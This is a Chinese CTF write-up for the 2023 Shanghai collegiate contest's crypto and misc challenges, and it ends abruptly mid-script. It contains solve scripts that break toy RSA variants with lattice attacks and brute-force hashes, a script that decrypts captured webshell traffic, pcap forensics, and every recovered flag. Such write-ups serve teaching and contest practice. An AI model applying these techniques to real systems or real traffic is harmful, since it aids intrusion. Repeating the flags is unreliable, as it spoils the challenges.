2023第八届上海市大学生网络安全大赛-磐石行动(misc+crypto) WP
Crypto
bird
题目
docx文档出现:

我的解答:
使用在线工具即可:https://www.dcode.fr/birds-on-a-wire-cipher
flag{birdislovely}
crackme
题目
import os
import string
from random import randint,sample
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
secret = b'Summer is coming, I like Summ3rWind and sunset, I want to give my best wishes for you, my friend'
flag = b'flag{d3eb9a9233e52948740d7eb8c3062d14}'
def MyCBC(key, plain):
if len(key)!=32:
return "error!"
cipher_txt = b""
cipher_arr = []
cipher = AES.new(key, AES.MODE_ECB)
plain = [plain[i:i+32] for i in range(0, len(plain), 32)]
cipher_arr.append(cipher.encrypt(plain[0]))
cipher_txt += cipher_arr[0]
for i in range(1, len(plain)):
cipher = AES.new(cipher_arr[i-1], AES.MODE_ECB)
cipher_arr.append(cipher.encrypt(plain[i]))
cipher_txt += cipher_arr[i]
return cipher_txt
def encrypt_flag(md5_key):
enc = AES.new(md5_key,AES.MODE_ECB)
return enc.encrypt(pad(flag,48)).hex()
key = b'Key_Y0u_R3alLy_KnOw_Coppersm1th!'
assert key[:4] == b'Key_'
pad_key = key + os.urandom(63-len(key)) + b'M'
#sample(string.ascii_uppercase,1)[0].encode()
assert len(pad_key) == 64
print(pad_key)
m = bytes_to_long(pad_key)
def gift():
p,q = getPrime(260),getPrime(260)
n = p * q
F = Zmod(n)
k = randint(2, n-1)
enc = F(m)^4 + F(m)^3 + 5*F(m)^2 + k*F(m)
return (n, k, enc)
output = []
for i in range(4):
output.append(gift())
print(output)
# [(3018555458079215105605663757278144129833863732770686424872695001942120117827703183693753053231074143888112172584244033857608075350423532973982221516149486071, 2015251778650174439487636845803932559197087181632646488284508264116093428665120442136522343797116437613192969691628097914962054103724291701626856023810723944, 998456798264285089722503492792091295224947522538623879766556201736577423338330644872239737092922230888710466957098693929649789100889022081028620013484905030), (2079786675005114726208551139154381912146847694798295687411179518821597448848670161091803425717926823377689665504066681545505620996564390200575349285287324213, 54795165860644042386014119185201173878697506541870663704435977704415600529148720689138777111505610518245863174957503334816760368037936994220464526937331722, 569813771329755541881849497675399919537715028599089717361664724583914568210033772466985719169999551840201021582774814335981875292672010660494531042664563578), (1277455716338031379926395658684400769659195172093077257215316693863009987718446172838537280404457327317874477760950545707023829016963213139378295588054814501, 212954538903543442969852468111250391093500937684124414538929404532588455578840713454965660636668957892423075471925761495216639543100984103678340193946244314, 614314325034935847781624850145832948107577569645932245531061936488695271544662268337900423800029173012409039104491294442069996982061119131848755802720663718), (1304498929245570911389259432177216112074215390296943046795713906461043039297060572846688661076930357395289204530298868653778151136726188858261468227486677697, 502113486312995859521147230314608370745412635463358630845709702376124403926466014904221526062395320907040384292004961283523533207828599682402360672880640429, 723730286726624411127811425916360301009795393350383143850248254364227939627605732883440120262170198092178889136096595870566503844360889400600448430308533396)]
c = MyCBC(key,secret).hex()
print(c)
#3596744af700f52b033b1c571b7a94b8a70ea78391f0a109720e9fc917b725ae356cb20997941d21a1011829f9ec0ca0650d45fffcb32d0e78c8af7255026d05f2ab0ba0820c1e27f25ff3d9934a1c05aada5ac5a90c4266e0ea65d608f9c371
md5_key = md5(secret).hexdigest()[:16].encode()
print(encrypt_flag(md5_key))
# eda598865a5f9843d4f5a9ea1105c3923080da8c5aa7e8217ab8361ea57c13f6d7f787c2a771d6c123a3361af106a114
我的解答:
看着很长,但代码里flag直接给了。
flag{d3eb9a9233e52948740d7eb8c3062d14}
RSA_like
题目
RRSSAA.py
查看代码
import random
from Crypto.Util.number import *
def RRSSAA_prime(bit_length):
while True:
a = random.getrandbits(bit_length//2)
b = random.getrandbits(bit_length//2)
if b % 3 == 0:
continue
p = a ** 2 + 3 * b ** 2
if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p):
return p
def RRSSAA_add(P, Q, mod):
m, n = P
p, q = Q
if p is None:
return P
if m is None:
return Q
if n is None and q is None:
x = m * p % mod
y = (m + p) % mod
return (x, y)
if n is None and q is not None:
m, n, p, q = p, q, m, n
if q is None:
if (n + p) % mod != 0:
x = (m * p + 2) * inverse(n + p, mod) % mod
y = (m + n * p) * inverse(n + p, mod) % mod
return (x, y)
elif (m - n ** 2) % mod != 0:
x = (m * p + 2) * inverse(m - n ** 2, mod) % mod
return (x, None)
else:
return (None, None)
else:
if (m + p + n * q) % mod != 0:
x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod
y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod
return (x, y)
elif (n * p + m * q + 2) % mod != 0:
x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod
return (x, None)
else:
return (None, None)
def RRSSAA_power(P, a, mod):
res = (None, None)
t = P
while a > 0:
if a & 1:
res = RRSSAA_add(res, t, mod)
t = RRSSAA_add(t, t, mod)
a >>= 1
return res
RSA_like.py
from RRSSAA import *
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
flag = b'xxx'
l = len(flag)//2
part1 = pad(flag[:l],125)
part2 = pad(flag[l:],125)
p, q = RRSSAA_prime(512), RRSSAA_prime(512)
n = p * q
# I do not give its formula to you, try to find it with some papers.
phi =
d = getPrime(360)
e = inverse(d, phi)
m = (bytes_to_long(part1), bytes_to_long(part2))
c = RRSSAA_power(m, e, n)
print(f"c = {c}")
print(f"n = {n}")
print(f"e = {e}")
'''
c = (59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)
n = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038
'''
我的解答:
发现是mini LCTF 2023 原题 https://blog.csdn.net/weixin_52640415/article/details/130547942
改下脚本 使用SageMath跑即可
#---------------------------
'''
1,素数结构 p = a^2 + 3* b^2 ,p%3 == 1
2,phi的结构phi = (p^2+p+1)*(q^2+q+1)
3,给出N,e,c
论文:https://eprint.iacr.org/2021/1160.pdf
'''
import time
############################################
# Config
##########################################
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
############################################
# Functions
##########################################
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
print("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
print("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB
def attack(N, e, m, t, X, Y):
modulus = e
PR.<x, y> = PolynomialRing(ZZ)
a = N + 1
b = N * N - N + 1
f = x * (y * y + a * y + b) + 1
gg = []
for k in range(0, m+1):
for i in range(k, m+1):
for j in range(2 * k, 2 * k + 2):
gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
for k in range(0, m+1):
for i in range(k, k+1):
for j in range(2*k+2, 2*i+t+1):
gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
def order_gg(idx, gg, monomials):
if idx == len(gg):
return gg, monomials
for i in range(idx, len(gg)):
polynomial = gg[i]
non = []
for monomial in polynomial.monomials():
if monomial not in monomials:
non.append(monomial)
if len(non) == 1:
new_gg = gg[:]
new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
return order_gg(idx + 1, new_gg, monomials + non)
gg, monomials = order_gg(0, gg, [])
# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0)
for jj in range(1, nn):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0,0
# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus^m)
# check if determinant is correctly bounded
det = BB.det()
bound = modulus^(m*nn)
if det >= bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus^m)
# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")
BB = BB.LLL()
if debug:
print("LLL is done!")
# transform vector i & j -> polynomials 1 & 2
if debug:
print("looking for independent vectors in the lattice")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.<a, b> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
# resultant
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly
def inthroot(a, n):
return a.nth_root(n, truncate_mode=True)[0]
N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038
X = 1 << 469
Y = 2 * inthroot(Integer(2 * N), 2)
res = attack(N, e, 4, 2, X, Y)
print(res) # gives k and p + q, the rest is easy
# (622388446837437742717907189821104799227621425864896467926829525917356157945038443057723315324154820787694801673, 21581081267317264057300397805667850767978100748500497887465036772601909848077661066029306567420215347344093486009661621345217539597125914633479358949462578)
b, c = res[1], N
Dsqrt = inthroot(Integer(b^2-4*c),2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N
print(p, q)
# 12076532702818803027742169983530419558608401078508017894707093811716696786941308547797368731019670776508448150953432566915232808757060410156378938522359551 9504548564498461029558227822137431209369699669992479992757942960885213061136352518231937836400544570835645335056229054429984730840065504477100420427103027
from Crypto.Util.number import *
from RRSSAA import *
from gmpy2 import invert
p, q = 12076532702818803027742169983530419558608401078508017894707093811716696786941308547797368731019670776508448150953432566915232808757060410156378938522359551, 9504548564498461029558227822137431209369699669992479992757942960885213061136352518231937836400544570835645335056229054429984730840065504477100420427103027
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038
N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
c = (59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)
#跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数
phi = (p**2 + p + 1)*(q**2 + q + 1)
d = invert(e,phi)
# d = 1928162174341217691501073396348543374914457726701746377207373957621633937288084167870015912332959632509771228593
m = RRSSAA_power(c,d,N)
flag = b''.join([long_to_bytes(v)[:19] for v in m])
print(flag)
# flag{4872c7e4cc11508f8325f6fb68512a23}
dirty_flag
题目
tree.py
查看代码
from typing import List
import hashlib
import uuid
import sys
flag = f"flag{{{uuid.uuid4()}}}"
flag_split = flag.split("-")
class Node:
def __init__(self, left, right, value: str) -> None:
self.left: Node = left
self.right: Node = right
self.value = value
@staticmethod
def hash(val: str) -> str:
return hashlib.sha256(val.encode('utf-8')).hexdigest()
@staticmethod
def doubleHash(val: str) -> str:
return Node.hash(Node.hash(val))
class MerkleTree:
def __init__(self, values: List[str]) -> None:
self.__buildTree(values)
def __buildTree(self, values: List[str]) -> None:
leaves: List[Node] = [Node(None, None, Node.doubleHash(e)) for e in values]
if len(leaves) % 2 == 1:
leaves.append(leaves[-1:][0]) # duplicate last elem if odd number of elements
self.root: Node = self.__buildTreeRec(leaves)
def __buildTreeRec(self, nodes: List[Node]) -> Node:
half: int = len(nodes) // 2
if len(nodes) == 2:
return Node(nodes[0], nodes[1], Node.doubleHash(nodes[0].value + nodes[1].value))
if len(nodes) == 1:
return Node(nodes[0], nodes[0], Node.doubleHash(nodes[0].value + nodes[0].value))
left: Node = self.__buildTreeRec(nodes[:half])
right: Node = self.__buildTreeRec(nodes[half:])
value: str = Node.doubleHash(left.value + right.value)
return Node(left, right, value)
def printTree(self) -> None:
if not self.root:
return
queue: list = ["r", self.root]
while len(queue) > 0:
node = queue.pop(0)
if isinstance(node, Node):
print(node.value, end=" ")
if node.left:
queue.append(node.left)
if node.right:
queue.append(node.right)
else:
if len(queue) > 0:
queue.append("r")
print()
def getRootHash(self) -> str:
return self.root.value
if __name__ == "__main__":
mtree: MerkleTree = MerkleTree(flag_split)
with open('output.txt', "w") as f:
sys.stdout = f
print(flag)
mtree.printTree()
输出
flag{09***********************************755ca2}
55cfb0b1cf88f01fc9ed2956a02f90f9014d47ad303dbb52fe7d331ddea37d88
b665a90585127215c576871b867e203e5a00107d11824d34ba2cb5f7c4fd9682 4cac70a760893573e0e5e90f44547e9dc5a53a9f414d36bc24d2d6fd03970ec2
28c372a73cc57472fd1f0e8442115ee2ac53be83800eae6594b8aa9b4c7d48f6 398563820c257329e66a7fffe9e0ce512b54261378dbd329222a7729ca0484fc a36ac422a339e2b40596b5162b22f89d27a27dbbc8c7292c709a069673eb470b d35886043eee094a310136ae21c4c7af5bcd7c68e6a547cbd5069dd6baee1a63
41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b 41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba e813a50278e41a5ea532c95f99ab616d4ec1ffabad99e1c8fde23886bb600005 8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5 8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5 e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2 e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2
我的解答:
本题考查哈希树的生成,最终的叶子结点内容为flag分隔后的双重哈希值,flag给了提示并且按照uuid的形式进行分割,直接爆破即可
import hashlib
flag1 = '41a5f7781dc69308b187e24924e0a0a337cdcc36f06b736dd99810eda7bb867b'
flag2 = 'a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba'
flag3 = 'e813a50278e41a5ea532c95f99ab616d4ec1ffabad99e1c8fde23886bb600005'
flag4 = '8d4bd8d58ddd11cea747d874e676582bb219b065b2989d96b566f0689a3aaff5'
flag5 = 'e477515e963dc46294e815f9b1887541d225f4b027a7129608302ba8d07faef2'
table = '0123456789abcdef'
#flag{09***********************************755ca2}
def hash(val: str) -> str:
return hashlib.sha256(val.encode('utf-8')).hexdigest()
def doubleHash(val: str) -> str:
return hash(hash(val))
def crack1(test):
for _1 in table:
for _2 in table:
for _3 in table:
for _4 in table:
for _5 in table:
for _6 in table:
if doubleHash(test+_1+_2+_3+_4+_5+_6) == flag1:
print(test+_1+_2+_3+_4+_5+_6)
return test+_1+_2+_3+_4+_5+_6
def crack2(flag):
for _1 in table:
for _2 in table:
for _3 in table:
for _4 in table:
if doubleHash(_1+_2+_3+_4) == flag:
print(_1+_2+_3+_4)
return _1+_2+_3+_4
def crack3(test):
for _1 in table:
for _2 in table:
for _3 in table:
for _4 in table:
for _5 in table:
for _6 in table:
if doubleHash(_1+_2+_3+_4+_5+_6+test) == flag5:
print(_1+_2+_3+_4+_5+_6+test)
return _1+_2+_3+_4+_5+_6+test
print(crack1('flag{09')+crack2(flag2)+crack2(flag3)+crack2(flag4)+crack3('755ca2}'))
#flag{098069945a0445efbde0c69658755ca2}
Twice
题目
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from secret import flag, a0,a1,b0,b1
def gen_keys(k):
p, q, r = getPrime(k), getPrime(k), getPrime(k)
pubkey = p**2 * q * r
n = pubkey
phi = (p-1) * (q-1) * (r-1)
privkey = inverse(n, phi)
return pubkey, privkey
def encrypt(msg, pubkey):
return pow(bytes_to_long(pad(msg,190)), pubkey, pubkey)
p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
n1 = p*q
assert pow(a0,2) + e * pow(b0,2) == n1
assert pow(a1,2) + e * pow(b1,2) == n1
# one
m = bytes_to_long(flag)
c1 = pow(m, e, n1)
# two
pub,pri = gen_keys(512)
c2 = encrypt(long_to_bytes(c1),pub)
print("n1=",n1)
print("a0=",a0)
print("a1=",a1)
print("b0=",b0)
print("b1=",b1)
print("c2=",c2)
print("pub=",pub)
print("pri=",pri)
n1= 87665217778729524993118310155129480311708534438704150676980835344891979982717119161254489670350577173938239682286759779547789055360697960379769693294306641200724257991678505629369338313581657539655057636732714452287023658150014746541718058750871927050204352584824130972892779877896415568548748364583880371427
a0= 9362970563807702423162361787386216886594085863490420184497563324865248429693287404341206766515622648778272030443641712923250846610046357375553046092690266
a1= 9362970563807702423162361745963275441706212437133735476965289880825874017106479792816846422940594285630367772490647779230476318907092613021181772527068514
b0= 74836747076024432741470938222753940689278814091833170112470104078475118700897724833941621360216319460657128947837095907483
b1= 93520964011413593176393772179429258741894666938448164504029535235899813670669478849381259720656022408302270582527720184427
c2= 7090659117351297531755883438960933877263181849815568437232708639999747137583085680350909771730266998763362206865224473283130982570816918537377058225538656521223617210560656370841094169187300346437355127376920626133248983100115455529533265136725274741407727211587363755394889303944789720637515498330115070515942678821608630620272575086220037432383957991049220528177053370450234486390431027269543481157974773863005279984438957464388749795275109730696430700744950555993640720758137888948464005039907816169108829675809911658280616090368129767282407708640291466242813209343944276906740181222776418701978734705056220412984
pub= 15393634704241437811571407047965218207529278849238950329420499882359515149154462592674433680412129087082275102567406550543503710118161775213536183656910892279726520148202227312448507629264239427121015706092403872586978266402316447553116208411724407465368711586887621447872002364407809592953543797319646692321612541334341183378900324146713189121105760280994702695266049904020810024990537652609099294535255399210219454610583930829883737909993183476961897889084229322415995483397484414924734020539093114397393070394929656598174957126771887906087335882580049097369036955153036983424389092042285637185882327630117320615769
pri= 424184707992085368727036634979681060339188016631126395371395132791009626692092220877797321952063158959159298372653275672949543326347146732580465753892335912633332743258010037527036987474957662424735475674152462914082526658466925646224968182493094690460023505421720259663381122409147914948696061450626153526908753546708693503710352787787701648821693599138777500334149879355898444355846028142814267511986218166066642222930494985736426837825122392760739011897554697
我的解答:
题目分析
assert pow(a0,2) + e * pow(b0,2) == n1
assert pow(a1,2) + e * pow(b1,2) == n1
因为:
a0^2 + e*b0^2 == a1^2 + e*b1^2
a0^2 + e*b0^2 == n
a1^2 + e*b1^2 == n
因此有:
a0^2*b0^2 + e*b0^2*b0^2 == n*b0^2
a1^2*b1^2 + e*b1^2*b1^2 == n*b1^2
两式相减得到:n*b0^2-n*b1^2 = a0^2*b0^2 + e*b0^2*b0^2 - (a1^2*b1^2 + e*b1^2*b1^2)
又因为:
a0^2*b0^2 + e*b0^2*b0^2 == a1^2*b0^2 + e*b1^2*b0^2
a0^2*b1^2 + e*b0^2*b1^2 == a1^2*b1^2 + e*b1^2*b1^2
n*b0^2-n*b1^2 = a1^2*b0^2 + e*b1^2*b0^2-(a0^2*b1^2 + e*b0^2*b1^2)
即
n*(b0^2-b1^2) = a1^2*b0^2-a0^2*b1^2
n*(b0^2-b1^2) = (a1*b0)^2-(a0*b1)^2
n*(b0^2-b1^2) = (a1*b0+a0*b1)-(a1*b0-a0*b1)
故关系式和n存在关系
注意:得到公钥的函数存在特殊的地方
n = p**2 * q * r
phi = (p-1) * (q-1) * (r-1)
a^(phi) = 1 mod (pqr)
又因为
n*d = k*phi+1
故
a^(k*phi+1) = a mod (pqr)
a^(n*d) = a mod (pqr)
a^(n*d)-a = k1*pqr
故pqr可求,并可解密文
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from gmpy2 import *
n1= 87665217778729524993118310155129480311708534438704150676980835344891979982717119161254489670350577173938239682286759779547789055360697960379769693294306641200724257991678505629369338313581657539655057636732714452287023658150014746541718058750871927050204352584824130972892779877896415568548748364583880371427
a0= 9362970563807702423162361787386216886594085863490420184497563324865248429693287404341206766515622648778272030443641712923250846610046357375553046092690266
a1= 9362970563807702423162361745963275441706212437133735476965289880825874017106479792816846422940594285630367772490647779230476318907092613021181772527068514
b0= 74836747076024432741470938222753940689278814091833170112470104078475118700897724833941621360216319460657128947837095907483
b1= 93520964011413593176393772179429258741894666938448164504029535235899813670669478849381259720656022408302270582527720184427
c2= 7090659117351297531755883438960933877263181849815568437232708639999747137583085680350909771730266998763362206865224473283130982570816918537377058225538656521223617210560656370841094169187300346437355127376920626133248983100115455529533265136725274741407727211587363755394889303944789720637515498330115070515942678821608630620272575086220037432383957991049220528177053370450234486390431027269543481157974773863005279984438957464388749795275109730696430700744950555993640720758137888948464005039907816169108829675809911658280616090368129767282407708640291466242813209343944276906740181222776418701978734705056220412984
pub= 15393634704241437811571407047965218207529278849238950329420499882359515149154462592674433680412129087082275102567406550543503710118161775213536183656910892279726520148202227312448507629264239427121015706092403872586978266402316447553116208411724407465368711586887621447872002364407809592953543797319646692321612541334341183378900324146713189121105760280994702695266049904020810024990537652609099294535255399210219454610583930829883737909993183476961897889084229322415995483397484414924734020539093114397393070394929656598174957126771887906087335882580049097369036955153036983424389092042285637185882327630117320615769
pri= 424184707992085368727036634979681060339188016631126395371395132791009626692092220877797321952063158959159298372653275672949543326347146732580465753892335912633332743258010037527036987474957662424735475674152462914082526658466925646224968182493094690460023505421720259663381122409147914948696061450626153526908753546708693503710352787787701648821693599138777500334149879355898444355846028142814267511986218166066642222930494985736426837825122392760739011897554697
a = 2
pqr = gmpy2.gcd(pow(a,pri*pub,pub)-a,pub)
c = pow(c2,pri,pqr)
c = unpad(long_to_bytes(c),190)
c1 = bytes_to_long(c)
e=(n1-a0**2)//b0**2
#n*(b0^2-b1^2) = (a1*b0+a0*b1)-(a1*b0-a0*b1)
p = gmpy2.gcd(a1*b0+a0*b1,n1)
q = n1//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c1,d,n1)))
#flag{1a100d2c0dab19c4430e7d73762b3423}
MISC
good_http
题目

我的解答:
一眼丁真。双图盲水印,B神工具直接梭


得到密码 XD8C2VOKEU
解压压缩包得到:
flag{d580cc00-e489-467e-882b-1c340560533a}
complicated_http
题目
给了一个流量包
我的解答:
追踪HTTP流发现有个index.php里上传了木马

$key="9d239b100645bd71"
"AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)
导出HTTP对象,写个脚本解密:
import base64
from Crypto.Cipher import AES
def decrypt(data):
key = "9d239b100645bd71"
magic_num = int(key[:2], 16) % 16
data = data[:-magic_num]
cipher = AES.new(key.encode(), AES.MODE_ECB)
decrypted = cipher.decrypt(base64.b64decode(data))
return decrypted
for i in range(59):
with open(f'shell({i}).php' if i != 0 else 'shell.php', 'rb') as f:
encrypted = f.read()
# print(encrypted)
decrypted = decrypt(encrypted)
print("==========>", i)
if b'"msg":"' in decrypted:
print(decrypted)
data = decrypted.split(b'"msg":"')[1].split(b'"}')[0]
msg = base64.b64decode(data)
print(msg)
#b'{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3sxZWM1YmU1YS1hZmJkLTQ4NjctODAwYi0zZWI3MzliOWUzYmR9Cg=="}\x02\x02'
#b'flag{1ec5be5a-afbd-4867-800b-3eb739b9e3bd}\n'
直播信息战
题目
给了一个流量包
我的解答:
里面有一堆 RTMP 流量,大概率就是个视频的推流

我们先把最大的 rtmp / tcp 流量单独导出来到一个 pcap 文件,不然处理后拿到的东西太杂了



过滤之后这里面的就是对应的数据包了

然后导出显示的分组就好了。

我们使用 rtmp2flv 这个工具可以将未加密的 RTMP 流量提取为 FLV 视频
apt install tcpflow
tcpflow -T %T_%A%C%c.rtmp -r rtmp.pcapng
./rtmp2flv.py *.rtmp
得到视频后播放,很明显有幅度谱和相位谱


然后频域盲水印解码得到

verrybad
题目
给了一个流量包
我的解答:
USB 流量分析,一眼看到有 8 个字节的键盘流量,手动提取一下
tshark -r usb.pcapng -T fields -e usbhid.data "usb.data_len == 8" > usb.dat
注意:相应的字符在数据里的第4个字节,写个脚本
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
